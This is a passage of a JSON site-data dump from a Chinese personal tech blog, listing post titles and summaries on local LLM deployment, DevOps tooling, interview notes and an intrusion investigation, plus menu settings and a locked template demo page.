X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"2021-11-5","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"2024-3-22","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02&width=800&fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}],"blockMap":{"block":{"041a3743-f888-4476-b947-fff856745c02":{"value":{"id":"041a3743-f888-4476-b947-fff856745c02","version":12,"type":"page","content":["72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","c51f7f53-67be-4fb5-aee5-427b0cf9819c","1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","10ad4028-c0e3-4095-aa46-81b07349c917","08c43877-2376-4822-87e5-a9a62b39c716","59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f"],"format":{"page_font":"serif","page_cover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9e54f810-a708-40c4-95dd-4810f2e9b017","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1711119054674,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9e54f810-a708-40c4-95dd-4810f2e9b017","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a":{"value":{"id":"72b8d1f0-f81b-4278-aa3a-9ac1b0fddc1a","type":"header","properties":{"title":[["一、模板使用说明"]]},"format":{"copied_from_pointer":{"id":"8e6405ad-b52d-4a3c-8de5-e413949d3aff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"8e6405ad-b52d-4a3c-8de5-e413949d3aff"}},"c51f7f53-67be-4fb5-aee5-427b0cf9819c":{"value":{"id":"c51f7f53-67be-4fb5-aee5-427b0cf9819c","type":"text","properties":{"title":[["Notion页面中,每篇文章都有几个属性字段🤔,其说明如下:"]]},"format":{"copied_from_pointer":{"id":"a4fe4c8a-ce5a-437a-9f15-461ec2985719","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"a4fe4c8a-ce5a-437a-9f15-461ec2985719"}},"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9":{"value":{"id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","type":"table","content":["07fbfdea-71f3-4a04-a46e-d30c98197895","07124e79-05b6-45ec-acdc-7e829b5fb052","c2736488-e788-48ce-99eb-06a320f157a4","5b8bdfb5-218c-44ea-b202-3212725d5cb1","d058828b-345a-4707-911f-e5e50787f92f","0aea5ed6-6d10-4206-82b8-3ccc61405ac4","e62533e4-84e2-4e0d-b304-373e3356dda2","be987026-44c1-4cd9-89c1-9a81441c1eaf","1d362ade-698d-4fdb-a250-09125240acc6","d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","2bd9a3c8-b377-495f-a97d-1f14f07afb07"],"format":{"copied_from_pointer":{"id":"fa26eb5b-5b86-422a-ab84-8f328699ff1b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705594337139,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"fa26eb5b-5b86-422a-ab84-8f328699ff1b"}},"10ad4028-c0e3-4095-aa46-81b07349c917":{"value":{"id":"10ad4028-c0e3-4095-aa46-81b07349c917","type":"header","properties":{"title":[["二、加锁说明"]]},"format":{"copied_from_pointer":{"id":"2e8f0e15-089f-4